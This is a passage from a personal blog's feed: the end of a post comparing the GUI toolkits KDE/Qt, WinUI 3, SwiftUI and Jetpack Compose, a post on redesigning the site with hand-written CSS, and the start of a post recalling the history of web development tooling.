&lt;p&gt;For better or for worse, I believe KDE benefits significantly from Qt being widely used by "ISVs" outside of the Linux desktop ecosystem (e.g. on industrial HMIs and automotive infotainment systems). This commercial interest and Business™ probably yields a lot of opportunities, demand, and money for Qt to document the details needed for creating bindings between UI and code.&lt;/p&gt;
&lt;p&gt;KDE and Qt tended to be louder with errors, usually at least printing &lt;em&gt;something&lt;/em&gt; to the terminal when something went wrong. In one case, errors were even reported by dumping an "ugly" error message directly into UI text. This behavior greatly reduced "nothing happened" debugging frustration.&lt;/p&gt;
&lt;p&gt;Persistent settings were stored using KConfig. Unlike GNOME, this doesn't require setting up a schema. Other than the CMake confusion, it was very simple to store and retrieve one single value. In fact, &lt;a href="https://develop.kde.org/docs/features/configuration/introduction/"&gt;KDE's documentation&lt;/a&gt; is how I finally managed to learn about the existence of the &lt;a href="https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html"&gt;XDG Base Directory Specification&lt;/a&gt;, which I hadn't ever heard of before!&lt;/p&gt;
&lt;p&gt;Overall I quite like KDE's "get stuff done" vibe, but I do wish that the "Linux native code" situation was better.&lt;/p&gt;
&lt;h1&gt;Aside: gettext&lt;/h1&gt;
&lt;p&gt;Much of translation and localization of &lt;span class="nobr"&gt;F/OSS&lt;/span&gt; software seems to rely on &lt;a href="https://www.gnu.org/software/gettext/"&gt;gettext&lt;/a&gt;. Without commenting on the &lt;em&gt;API&lt;/em&gt; of it (not being much of a localization expert), I will say that &lt;em&gt;cultural knowledge&lt;/em&gt; around this topic is &lt;em&gt;woefully&lt;/em&gt; inadequate.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://developer.gnome.org/documentation/guidelines/localization.html"&gt;GNOME documentation&lt;/a&gt; is completely useless for anyone who has not actually used *nix localization tools before and has not heard of gettext (i.e. me, before having done this experiment), and it took me a very long time to figure out that relevant setup work needed was documented &lt;a href="https://mesonbuild.com/Localisation.html"&gt;by  Meson&lt;/a&gt;, the build system, rather than by GNOME.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://develop.kde.org/docs/plasma/widget/translations-i18n/"&gt;KDE documentation&lt;/a&gt; on the other hand is for some reason buried under the tutorial for building Plasma widgets (rather than somewhere more general) or else on &lt;a href="https://techbase.kde.org/Development/Tutorials/Localization/i18n_Build_Systems/Outside_KDE_repositories"&gt;the aforementioned other wiki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As someone who is multilingual (although I do all of my tech work in English), I am going to be &lt;em&gt;so much&lt;/em&gt; louder about i18n/l10n after this experiment.&lt;/p&gt;
&lt;h1&gt;WinUI 3&lt;/h1&gt;
&lt;p&gt;&lt;img alt="screenshot of WinUI 3 app" src="https://arcanenibble.com/images/ui-winui.png"&gt;&lt;/p&gt;
&lt;p&gt;In the interest of time, after trying out both GNOME and KDE, I moved on from &lt;span class="nobr"&gt;F/OSS&lt;/span&gt; desktops to try out Microsoft's &lt;a href="https://learn.microsoft.com/en-us/windows/apps/winui/winui3/"&gt;WinUI 3&lt;/a&gt; and &lt;a href="https://en.wikipedia.org/wiki/C%2B%2B/WinRT"&gt;C++/WinRT&lt;/a&gt;. As mentioned, my past experience with GUIs was with WinForms, and so I wanted to see what had changed or improved in the intervening years.&lt;/p&gt;
&lt;p&gt;Immediately, I noticed and appreciated the advantages of &lt;a href="https://en.wikipedia.org/wiki/Extensible_Application_Markup_Language"&gt;XAML&lt;/a&gt; responsive layout over the fixed pixel or DLU (dialog unit) layout of older Win32. This idea of auto-sizing has been almost universally adopted by every UI toolkit as screen sizes have become more varied. (Every other GUI toolkit in this experiment has automatic layout. This is notable only because I had prior experience with older fixed-layout toolkits on Windows.)&lt;/p&gt;
&lt;p&gt;Unlike the previous frameworks I tried, the WinUI and C++/WinRT build process also catches and prevents a lot of errors which might otherwise occur with "stringly-typed" UI builders. Visual Studio's debugging functionality (e.g. the XAML live viewer) also works reasonably well.&lt;/p&gt;
&lt;p&gt;Overall, it's quite an improvement for Microsoft!&lt;/p&gt;
&lt;p&gt;However, an improvement for Microsoft means that &lt;em&gt;it's still Microsoft&lt;/em&gt;, and the entire "rest of the owl" is a huge mess of brand confusion, clunkiness, and "why should I even bother to learn this?"&lt;/p&gt;
&lt;p&gt;I constantly struggled to identify the difference between WPF, UWP / WinUI 2, and WinUI 3 (especially the latter two). There isn't always a clear separation between the documentation for these frameworks, and I managed to at one point get an inscrutable Windows threading-related exception when I accidentally used &lt;code&gt;Windows.UI.Xaml.Data&lt;/code&gt; rather than &lt;code&gt;Microsoft.UI.Xaml.Data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Although I was running it on underpowered hardware, the build pipeline for this framework was &lt;em&gt;slow&lt;/em&gt;, subjectively the slowest of all platforms tested. It certainly involved the &lt;a href="https://devblogs.microsoft.com/oldnewthing/20240531-00/?p=109825"&gt;largest number of steps&lt;/a&gt;, including processing &lt;a href="https://en.wikipedia.org/wiki/Microsoft_Interface_Definition_Language"&gt;IDL&lt;/a&gt; and XAML files followed by compiling some "modern" template-heavy C++.&lt;/p&gt;
&lt;p&gt;C++ does not feel like the preferred "language projection" for WinRT, and many of Microsoft's developer resources seem to be encouraging the use of C# instead.&lt;/p&gt;
&lt;p&gt;Persistent settings were stored using &lt;code&gt;Windows::Storage::ApplicationData&lt;/code&gt; which contained several confusingly-different locations for storing key-value pairs. Once I chose the appropriate one (&lt;code&gt;LocalSettings&lt;/code&gt;), it was straightforward to put a value into it.&lt;/p&gt;
&lt;p&gt;Overall, WinUI 3 feels like an "it works, I guess?" technology both befitting and characteristic of Microsoft. It's not the newest, fanciest technology, but it's not really supposed to be. It might indeed help make Business™ Software™ work better. However, especially when considering all of the user-hostile features being constantly added to Windows 11, it's simply not clear why a new developer would or should bother to invest in Microsoft's ecosystem.&lt;/p&gt;
&lt;h1&gt;SwiftUI&lt;/h1&gt;
&lt;p&gt;&lt;img alt="screenshot of SwiftUI app on a Mac" src="https://arcanenibble.com/images/ui-swift-mac.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot of SwiftUI app on an iPhone simulator" src="https://arcanenibble.com/images/ui-swift-ios.png"&gt;&lt;/p&gt;
&lt;p&gt;SwiftUI was the first "everything as code" declarative UI framework I've ever used, and Apple has really nice &lt;a href="https://developer.apple.com/tutorials/swiftui"&gt;developer documentation&lt;/a&gt; that is again an excellent fit for my particular "tasks and examples"-driven way of thinking.&lt;/p&gt;
&lt;p&gt;SwiftUI is &lt;em&gt;clearly&lt;/em&gt; a product of the Apple style of building &lt;em&gt;very&lt;/em&gt; vertically-integrated, opinionated walled gardens. For example, SwiftUI and Xcode have a quite powerful live-preview capability, and the implementation of it is &lt;a href="https://www.guardsquare.com/blog/behind-swiftui-previews"&gt;magic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This level of tight integration results in something which is fun &lt;em&gt;to just play around with&lt;/em&gt;. Unfortunately, doing so requires using Apple hardware, Apple software, Apple programming languages, and Apple's ideas about what "apps" should be able to do. This seems to result in a lot of "apps" which are quite simplified, "same-y", and otherwise &lt;em&gt;a fraction of the potential&lt;/em&gt; of what computers can do.&lt;/p&gt;
&lt;p&gt;Apple has also acquired a reputation for churn, and I encountered my share of that as well. I've been quite behind in updating some of my software, and so I did not have access to the SwiftUI &lt;a href="https://developer.apple.com/documentation/swiftui/navigationstack"&gt;&lt;code&gt;NavigationStack&lt;/code&gt;&lt;/a&gt; and had to &lt;a href="https://medium.com/better-programming/stack-navigation-on-macos-41a40d8ec3a4"&gt;emulate it&lt;/a&gt;. The Apple developer ecosystem doesn't seem to value forward or backward compatibility — a stark contrast to the standard C example or even &lt;a href="https://en.wikipedia.org/wiki/Macintosh_Plus"&gt;Apple of earlier eras&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Persistent settings were &lt;em&gt;extremely&lt;/em&gt; easy to set up using a &lt;code&gt;@AppStorage&lt;/code&gt; property. In the same manner as everything else Apple, it works magically as long as you don't question &lt;em&gt;how&lt;/em&gt; or &lt;em&gt;where&lt;/em&gt; data is stored.&lt;/p&gt;
&lt;p&gt;Overall, I really enjoyed my &lt;em&gt;limited&lt;/em&gt; time with the developer experience here, and I can understand why at least some people &lt;em&gt;really like&lt;/em&gt; the Apple ecosystem as both a user and/or as a developer. Unfortunately, as someone who also very values some of the ideals of the &lt;span class="nobr"&gt;F/OSS&lt;/span&gt; movement, I just cannot go all in on Apple, and I can see how restrictive this ecosystem can be and how difficult it would be to reuse anything on other platforms.&lt;/p&gt;
&lt;h1&gt;Jetpack Compose&lt;/h1&gt;
&lt;p&gt;&lt;img alt="screenshot of Jetpack Compose app" src="https://arcanenibble.com/images/ui-jetpack.png"&gt;&lt;/p&gt;
&lt;p&gt;At this point in the experiment, exhaustion was starting to set in, but I still had to try out the most popular operating system in the world — Android, where the promoted UI framework was Jetpack Compose.&lt;/p&gt;
&lt;p&gt;To be very blunt, Jetpack Compose felt like a very soulless "I wish it were SwiftUI". The documentation and tutorials are a horrific mess, oversimplified into oblivion and not at all universally accessible nor useful.&lt;/p&gt;
&lt;p&gt;Android's documentation is fragmented across API references, cheesy marketing-esque videos, oversimplified "&lt;a href="https://developer.android.com/codelabs/basic-android-kotlin-compose-first-app"&gt;codelabs&lt;/a&gt;", an Apple-style "&lt;a href="https://developer.android.com/develop/ui/compose/tutorial"&gt;tutorial&lt;/a&gt;", and "&lt;a href="https://developer.android.com/develop/ui/compose/quick-guides"&gt;quick guides&lt;/a&gt;". All of these felt almost &lt;em&gt;intentional&lt;/em&gt; in how they avoid explaining "how to build a complete app from start to finish". This is &lt;em&gt;before&lt;/em&gt; we even touch lower-level APIs, the pre-Jetpack Compose APIs, etc. Despite being the search giant, Google Search often failed to find useful resources when I encountered errors.&lt;/p&gt;
&lt;p&gt;In terms of annoyances, for some reason Android Studio seemed quite flaky around dealing with devices and emulators, and attempting to debug exceptions which occur before the app completes launching just doesn't seem to work.&lt;/p&gt;
&lt;p&gt;Persistent settings were the &lt;em&gt;most&lt;/em&gt; difficult on Android because, unlike every other platform, &lt;code&gt;androidx.datastore.core.DataStore&lt;/code&gt; is &lt;em&gt;asynchronous&lt;/em&gt;. I was never quite able to figure out how this was supposed to integrate properly into the Jetpack Compose model, and I eventually gave up and used &lt;code&gt;runBlocking&lt;/code&gt; to turn it into a synchronous interface.&lt;/p&gt;
&lt;p&gt;The Jetpack Compose framework &lt;em&gt;itself&lt;/em&gt; seems to work... fine. However, everything about it feels &lt;em&gt;amazingly unpolished&lt;/em&gt; for something released by one of the largest tech companies in the world.&lt;/p&gt;
&lt;p&gt;It almost feels &lt;em&gt;disrespectful&lt;/em&gt; of developer time, a product of a company that knows it is in an untouchable monopolistic position.&lt;/p&gt;
&lt;h1&gt;Wow, that was bitter&lt;/h1&gt;
&lt;p&gt;Yeah. Sorry.&lt;/p&gt;
&lt;p&gt;Even though the experience kinda sucked, I learned a lot. I'm going to spend so much time hacking on all the things I'd been ignoring.&lt;/p&gt;
&lt;p&gt;If you actually want to build a native cross-platform app, I'd personally recommend Qt (although I would not use CMake).&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>"Introducing our new and updated user experience"</title><link href="https://arcanenibble.com/introducing-our-new-and-updated-user-experience.html" rel="alternate"></link><published>2025-04-27T00:00:00+00:00</published><updated>2025-04-27T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2025-04-27:/introducing-our-new-and-updated-user-experience.html</id><summary type="html">&lt;p&gt;You can "just" make a website, y'know&lt;/p&gt;</summary><content type="html">&lt;p&gt;I just completely redesigned the theme for this website. The theme is now crafted from 100% artisanal, hand-written HTML and CSS, so that it no longer looks like every other generic, somewhat-dated &lt;a href="https://getbootstrap.com/"&gt;Bootstrap&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;This was much easier than I thought it would be, especially in this modern era where Internet users generally at least somewhat update their web browsers and thus gain support for new platform features. (&lt;em&gt;Forced&lt;/em&gt; updates which restrict user freedoms are a net negative for the software industry, and users should ideally be &lt;em&gt;allowed to&lt;/em&gt; run old, outdated, even insecure software if they &lt;em&gt;intentionally choose&lt;/em&gt; to. Here I am merely referring to the ease of &lt;em&gt;delivering&lt;/em&gt; new software.)&lt;/p&gt;
&lt;p&gt;Although new web platform features help, the biggest stumbling blocks personally were about &lt;em&gt;ways of thinking&lt;/em&gt;, and so I want to try to document some of those.&lt;/p&gt;
&lt;h1&gt;How do you lay out text on a page?&lt;/h1&gt;
&lt;p&gt;No really. When you open a typical current text editor or word processor program, or if you just type words into HTML, what &lt;em&gt;actually&lt;/em&gt; happens?&lt;/p&gt;
&lt;p&gt;Typically, words get put next to each other in the standard writing direction (i.e. left-to-right, unless you're using a right-to-left language such as Arabic or Hebrew). Once the line fills up, words are moved down to a new, empty line, and the process repeats. This corresponds to the "inline" direction of the standard CSS &lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_display/Flow_layout"&gt;flow layout&lt;/a&gt;, although the exact semantics may differ between the web vs word processors.&lt;/p&gt;
&lt;p&gt;However, this is &lt;em&gt;not&lt;/em&gt; how you lay out components of a &lt;em&gt;page&lt;/em&gt;! For that, it helps to look at the pre-digital era of &lt;em&gt;publishing&lt;/em&gt;. Material from this era, such as newspapers and magazines, tended to (at a very high level) be laid out as "blocks" into which text, images, and other content would be placed. (As computers advanced and enabled "desktop publishing" to develop, the shape of these blocks became less restrictive.)&lt;/p&gt;
&lt;p&gt;Here is where the first &lt;strong&gt;"key insight"&lt;/strong&gt; shows up. Flow layout is fine (sorry, TeX and &lt;a href="https://en.wikipedia.org/wiki/Hot_metal_typesetting"&gt;hot metal typesetting&lt;/a&gt; fans) for the step of "just write the words", but it is not enough for laying out a web &lt;em&gt;page&lt;/em&gt;, which is a &lt;em&gt;page&lt;/em&gt;, which means it contains elements beyond "just the words" (e.g. headers, footers, navbars).&lt;/p&gt;
&lt;h2&gt;Rectangles all the way down&lt;/h2&gt;
&lt;p&gt;Here's where we encounter a huge limitation with standard CSS flow layout. The "block" direction only goes down. It's very hard to put blocks &lt;em&gt;next&lt;/em&gt; to each other. (I first saw this explained this succinctly by &lt;a href="https://eev.ee/blog/2020/02/01/old-css-new-css/"&gt;Eevee&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;I've been quite aware of features such as &lt;a href="https://css-tricks.com/snippets/css/a-guide-to-flexbox/"&gt;flexbox&lt;/a&gt; and &lt;a href="https://css-tricks.com/snippets/css/complete-guide-grid/"&gt;grid&lt;/a&gt; which were supposed to help fix CSS layout woes, but it took way too long to actually put &lt;em&gt;all&lt;/em&gt; the ideas together.&lt;/p&gt;
&lt;p&gt;These new CSS layout tools allow you to &lt;em&gt;divide up rectangles into smaller rectangles&lt;/em&gt;. These smaller rectangles can easily go next to each other in addition to the default of above/below each other. On a pre-digital dead-tree page, said page would be subdivided into fixed rectangles. In the modern digital era, the same can be done to the viewport, but now with additional flexibility and dynamism because it is On The Computer. You then put the words you have written &lt;em&gt;inside of&lt;/em&gt; these rectangles.&lt;/p&gt;
&lt;p&gt;Dividing up space in this way is &lt;em&gt;not&lt;/em&gt; just for building "application UIs" but is &lt;em&gt;also&lt;/em&gt; important for "just" documents the moment these documents need to be presented in a "nice" way. If anything, the inspiration/causality were likely the other way around! (This is probably one of the consequences of being spicy-brained and having spent way too much time on the computer.)&lt;/p&gt;
&lt;p&gt;Viewing page layout in terms of &lt;em&gt;subdividing rectangles&lt;/em&gt; might help to explain the wholehearted adoption of using &lt;code&gt;box-sizing: border-box;&lt;/code&gt; by designers everywhere.&lt;/p&gt;
&lt;h1&gt;Seeing the invisible&lt;/h1&gt;
&lt;p&gt;One thing that I &lt;em&gt;constantly&lt;/em&gt; struggled against was that I simply &lt;em&gt;could not understand&lt;/em&gt; why any page design I came up with constantly looked "old and ugly" no matter what I tried changing. There are smaller issues which I will discuss later, but it took someone else to finally point out that the biggest thing I had overlooked was literally invisible.&lt;/p&gt;
&lt;p&gt;I had been completely failing to see &lt;strong&gt;the spacing between text and blocks&lt;/strong&gt;. This includes what in CSS would be called "margin" or "padding" but also features such as line height. Many modern websites have &lt;em&gt;much&lt;/em&gt; more empty space between text than default browser settings. Although I am not certain on the causality, I suspect that larger, higher-resolution screens allowed for much more flexibility in this department.&lt;/p&gt;
&lt;p&gt;Although it was used in a "positive" way, this idea could be described as &lt;em&gt;infohazardous&lt;/em&gt;. The instant I was told this piece of information, I suddenly started perceiving the empty spaces everywhere (both on websites and on offline irl media). Something which I had been silently surrounded by my entire life suddenly stood out and made itself known.&lt;/p&gt;
&lt;p&gt;(TeX and hot metal typesetting fans, this means I finally see some of what you can see.)&lt;/p&gt;
&lt;p&gt;Actually making changes to my website afterwards was still based on vibes, but I am comfortable enough listening to vibes once I have "enough" conscious understanding of how they work.&lt;/p&gt;
&lt;h1&gt;Everything else&lt;/h1&gt;
&lt;p&gt;Browser default fonts and font sizes feel somewhat dated because, well, they're the default. I'm not a huge typography geek, but I do understand it well enough once I was able to disentangle it from the spacing/padding issue. Fixing typography is simple enough with a few lines of CSS.&lt;/p&gt;
&lt;p&gt;A very notable sub-feature of browser default styling is the color of hyperlinks. Once again, the defaults have been the defaults for a very long time. However, there are usability arguments for why hyperlinks should remain distinguishable, so on this page I have chosen to keep underlines as well as a hint of the classic blue/purple colors, but they've been tweaked just enough to not feel "ugly" due to datedness.&lt;/p&gt;
&lt;p&gt;A number of useful CSS features manage to ship in the past decade. Most notable for my purposes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/--*"&gt;variables ("custom properties")&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/CSS/calc"&gt;&lt;code&gt;calc()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;An aside on retrotech&lt;/h1&gt;
&lt;p&gt;This website has a number of "retro" design elements, yet it also embraces quite a few modern ideas.&lt;/p&gt;
&lt;p&gt;Even though there are legitimate frustrations fueling reactions such as &lt;a href="https://motherfuckingwebsite.com/"&gt;the motherfucking website&lt;/a&gt;, &lt;em&gt;technology should improve over time&lt;/em&gt;! Not only have I been able to make use of newer CSS features and layout strategies, I'm also able to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;run an editor, a web browser, and a development server &lt;em&gt;at the same time&lt;/em&gt;&lt;ul&gt;
&lt;li&gt;on a laptop&lt;/li&gt;
&lt;li&gt;with the trust that it probably isn't going to crash (even though I do have the "spam &lt;code&gt;Ctrl+S&lt;/code&gt;" habit of the era)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;debug my web page&lt;ul&gt;
&lt;li&gt;do you &lt;em&gt;really&lt;/em&gt; want to live without modern devtools? even if you &lt;em&gt;are&lt;/em&gt; restricting yourself to HTML4+CSS1, that sounds like a frustrating experience&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;em&gt;not&lt;/em&gt; have to debug my web page (across browsers and platforms)&lt;ul&gt;
&lt;li&gt;standardization helps!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;edit images and pixel art with free (as in beer) software&lt;ul&gt;
&lt;li&gt;which I could download from the internet, without having to think about how long it will take&lt;/li&gt;
&lt;li&gt;watch &lt;em&gt;a video&lt;/em&gt; explaining how to use said software, for free&lt;/li&gt;
&lt;li&gt;some of this software even nominally respects my freedoms!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I hope I'm picking a good compromise (and not perpetuating the idea that website redesigns are always negative).&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>A history of "Web" tech, from a "non-Web" developer</title><link href="https://arcanenibble.com/a-history-of-web-tech-from-a-non-web-developer.html" rel="alternate"></link><published>2025-03-27T00:00:00+00:00</published><updated>2025-03-27T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2025-03-27:/a-history-of-web-tech-from-a-non-web-developer.html</id><summary type="html">&lt;p&gt;What the !@#$ happened over the past decade?&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently had to demonstrate to a partner how application development on Windows worked "back in the day" (using &lt;a href="https://en.wikipedia.org/wiki/Visual_Studio"&gt;Visual Studio&lt;/a&gt; (not VSCode) and &lt;a href="https://en.wikipedia.org/wiki/Microsoft_Foundation_Class_Library"&gt;MFC&lt;/a&gt;). During the subsequent discussion, I realized that I have an unusual perspective on the history of the software ecosystem over the past decade, and that this information is useful to have in written form. Thus began this post.&lt;/p&gt;
&lt;p&gt;The process of organizing and transferring all of these thoughts from headspace to the world of words really helped put things into perspective. I learned a lot merely by writing this, and I feel like I have much more clarity on the direction I want to see "software" and "tech" go. Despite the problems, I don't think we're at "peak tech" yet!&lt;/p&gt;
&lt;h1&gt;The prehistoric era&lt;/h1&gt;
&lt;p&gt;Many people currently seem to be waxing nostalgic about the "prehistoric" era of Web development. Unfortunately, I was a child for most of this era and thus struggle to retrieve memories in the form of a coherent linear timeline. We must make do with fragments.&lt;/p&gt;
&lt;p&gt;In "absolute" time, these events ranged from approximately 2001 to 2010.&lt;/p&gt;
&lt;p&gt;I first started showing interest in learning how websites worked when I discovered a combination of two desktop web browser features: "view source", and the ability to save an offline copy of a page together with all of its referenced files. The moment I managed to have a &lt;em&gt;copy&lt;/em&gt; of a page, it was almost instinctive to want to start modifying it. I had already been introduced to the raw concept of "programming," so the idea of being able to change somebody else's website wasn't foreign or unthinkable, but the actual &lt;em&gt;discovery&lt;/em&gt; of these browser features still relied on undirected wandering and a childlike sense of patience and joy.&lt;/p&gt;
&lt;p&gt;Once this interest was spotted, my father tried to encourage it — he bought me a book (a physical book, made out of dead trees) on HTML and Web development. From this, I learned about the existence of CSS and JavaScript and generally got a high-level overview of how webpages were put together. These fundamental primitives are how web pages continue to work today!&lt;/p&gt;
&lt;p&gt;I have the following concrete memories from this era:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I somehow discovered "that" "analog clock which follows the mouse cursor" script and copied it onto one of my pages. &lt;a href="https://codepen.io/maheshambure21/pen/ZGevNP"&gt;Here is a modern implementation.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The book made mention of "server-side" logic which I couldn't use, because I didn't have "a server"&lt;ul&gt;
&lt;li&gt;However, the book mentioned the use of a &lt;code&gt;mailto:&lt;/code&gt; URL in &lt;code&gt;form&lt;/code&gt;s as a potential poor-man's substitute!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I saw a demo of &lt;a href="https://en.wikipedia.org/wiki/Embedded_OpenType"&gt;Embedded OpenType&lt;/a&gt; in the book and wanted to use the "cool" typeface the book author was using. I bothered my father to download the EOT converter tool, WEFT, using the broadband connection at his workplace, but I didn't understand that this tool didn't actually &lt;em&gt;contain&lt;/em&gt; the cool typeface in question.&lt;/li&gt;
&lt;li&gt;I discovered that double-clicking a &lt;code&gt;.js&lt;/code&gt; file opened it in this mysterious tool called "&lt;a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript"&gt;Windows Script Host&lt;/a&gt;". The normal Web JavaScript examples didn't work in this environment, but I didn't understand why.&lt;ul&gt;
&lt;li&gt;Researching it using the tools available at the time led to the discovery that Windows Script Host could also run &lt;a href="https://en.wikipedia.org/wiki/VBScript"&gt;VBScript&lt;/a&gt;, and that you could &lt;em&gt;also&lt;/em&gt; use this language in HTML (as long as the user was using IE).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this time, I also had a book on "Visual C++" which made mention of Microsoft-specific technologies for this "emerging Internet era" — &lt;a href="https://en.wikipedia.org/wiki/Distributed_Component_Object_Model"&gt;DCOM&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/Internet_Server_Application_Programming_Interface"&gt;ISAPI&lt;/a&gt;, etc. These were all far too complex for me to understand at the time, so I never looked into these any further. However, the &lt;em&gt;exposure&lt;/em&gt; to these technologies stuck around as a reminder of what might someday be &lt;em&gt;possible&lt;/em&gt;. (Incidentally, I seem to recall Paypal having &lt;code&gt;.dll&lt;/code&gt; in its URLs during this era, possibly indicating use of ISAPI?)&lt;/p&gt;
&lt;p&gt;One of the many benefits of the Web as a technology was supposed to be the ease of sharing content with others. I didn't have any friends at the time who shared the interest in &lt;em&gt;taking technological systems apart&lt;/em&gt;, and so I did not significantly engage with the Internet as a &lt;em&gt;community&lt;/em&gt;. (However, I do recall the first moment I discovered Wikipedia — "Wait, editing this really &lt;em&gt;does&lt;/em&gt; change somebody else's webpage? Not just my &lt;em&gt;copy&lt;/em&gt; of it? This is amazing! I better not break it though...")&lt;/p&gt;
&lt;p&gt;Possibly my only interaction with sharing content happened thanks to friends who &lt;em&gt;did&lt;/em&gt; play &lt;a href="https://en.wikipedia.org/wiki/Neopets"&gt;a certain online digital pets game&lt;/a&gt;. In order to show off some "because I can, because I understand the technology better" skills, I recall attempting to write CSS rules with sufficient specificity to override the background color to black across the entire player-customizable shop page.&lt;/p&gt;
&lt;p&gt;In retrospect, this was an amazing exposure to &lt;em&gt;ideas which are possible&lt;/em&gt;, and this happened &lt;em&gt;thanks to&lt;/em&gt; the exposure to advanced, "enterprise-grade" technology! Although many of these technologies were proprietary and are now long-deprecated, they enabled me as child to dream big. Someday, perhaps &lt;em&gt;I&lt;/em&gt; could also build a corporation like that...&lt;/p&gt;
&lt;h1&gt;The project, and the beginnings of the hell era&lt;/h1&gt;
&lt;p&gt;In 2013, I and a few co-conspirators started a project that attempted to (at a very high level) make robotics, embedded systems, and physical computing more accessible. This project spiralled out of control and otherwise ran into &lt;em&gt;many&lt;/em&gt; many problems, but here I would like to focus on the "Web"-specific ones.&lt;/p&gt;
&lt;p&gt;One co-conspirator observed that "traditional" desktop UI toolkits (e.g. MFC, &lt;a href="https://en.wikipedia.org/wiki/Windows_Forms"&gt;WinForms&lt;/a&gt;, or even cross-platform ones like &lt;a href="https://en.wikipedia.org/wiki/Qt_(software)"&gt;Qt&lt;/a&gt;) were quickly losing developer mindshare, and they predicted correctly that the focus was shifting towards using "Web" technologies. Web technologies seemed to offer many advantages, including being already cross-platform, having faster iteration cycles, and much more seriously exploring paradigms such as hot reloading and live coding.&lt;/p&gt;
&lt;p&gt;At this point in time, the US smartphone ownership rate had &lt;a href="https://www.pewresearch.org/internet/fact-sheet/mobile/"&gt;just crossed 50%&lt;/a&gt;, but traditional desktop and laptop computers were still "a thing." Although companies including &lt;a href="https://www.pcmag.com/archive/googles-new-rule-mobile-first-248418"&gt;Google&lt;/a&gt; had been adopting "mobile first," this didn't seem like a reasonable choice for "serious" work.&lt;/p&gt;
&lt;p&gt;So, how &lt;em&gt;do&lt;/em&gt; you actually build a "serious" "desktop-first" application using Web technologies?&lt;/p&gt;
&lt;p&gt;If you didn't live through this era, you might instinctively say "Just use &lt;a href="https://www.electronjs.org/"&gt;Electron&lt;/a&gt;!" However, you &lt;em&gt;couldn't&lt;/em&gt; "just" use Electron:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For starters, Electron did not exist yet and certainly not by that name. The initial commit for "Atom Shell" had &lt;a href="https://www.electronjs.org/blog/10-years-of-electron"&gt;only been created&lt;/a&gt; a few months prior to our project starting&lt;/li&gt;
&lt;li&gt;Others' attempts at implementing this idea were mostly being done with &lt;a href="https://nwjs.io/"&gt;node-webkit&lt;/a&gt;. It certainly made for some nice demos, and it worked well enough for more "typical" applications, but it had quite a few problems for my incredibly-high standards of "serious, professional" quality:&lt;ul&gt;
&lt;li&gt;It didn't have an "obviously correct" final packaging and deployment strategy for all the major desktop platforms all at once (as opposed to needing a separate build machine for each platform). This made setting up CI/CD complicated.&lt;/li&gt;
&lt;li&gt;In particular, it didn't have a good strategy for cross-platform &lt;em&gt;interfacing with physical hardware&lt;/em&gt;&lt;ul&gt;
&lt;li&gt;WebSerial and WebUSB didn't exist yet, and so there was no "standard" way to do this&lt;/li&gt;
&lt;li&gt;The &lt;a href="https://www.npmjs.com/package/serialport/v/1.0.0"&gt;serialport&lt;/a&gt; package did exist for Node.js, but it requires native code&lt;/li&gt;
&lt;li&gt;Native code in the Node.js ecosystem was usually built with &lt;a href="https://github.com/nodejs/node-gyp"&gt;node-gyp&lt;/a&gt;, which &lt;a href="https://github.com/nodejs/node-gyp/issues/829"&gt;didn't have a clear cross-compiling procedure&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Node.js and the npm ecosystem had existed for a few years, but they weren't yet the consensus JavaScript ecosystem!&lt;ul&gt;
&lt;li&gt;Node.js code wasn't Web code, and you needed special tools such as &lt;a href="https://browserify.org/"&gt;browserify&lt;/a&gt; to turn it into such&lt;/li&gt;
&lt;li&gt;npm mostly didn't contain Web code, and there existed separate package ecosystems for the web such as &lt;a href="https://bower.io/"&gt;bower&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Needing to use a bundler tool in the first place &lt;a href="https://nolanlawson.com/2017/05/22/a-brief-and-incomplete-history-of-javascript-bundlers/"&gt;wasn't the consensus workflow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
